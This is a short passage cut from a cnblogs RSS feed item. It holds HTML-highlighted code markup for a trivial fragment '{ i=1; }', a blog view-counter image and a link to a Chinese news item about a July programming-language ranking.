src="http://www.cnblogs.com/Images/dot.gif"></span><span id=Codehighlighter1_902_909_Open_Text><span style="COLOR: #000000">{&nbsp;i</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">;&nbsp;}</span></span><span style="COLOR: #000000"><br><img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" align=top></span></div>
<p><br>&nbsp;</p>
<img src ="http://www.cnblogs.com/evlon/aggbug/852817.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/37580/" target="_blank">[新闻]七月开发语言排行榜出炉 PowerShell有望成为年度黑马</a>]]></description></item></channel></rss>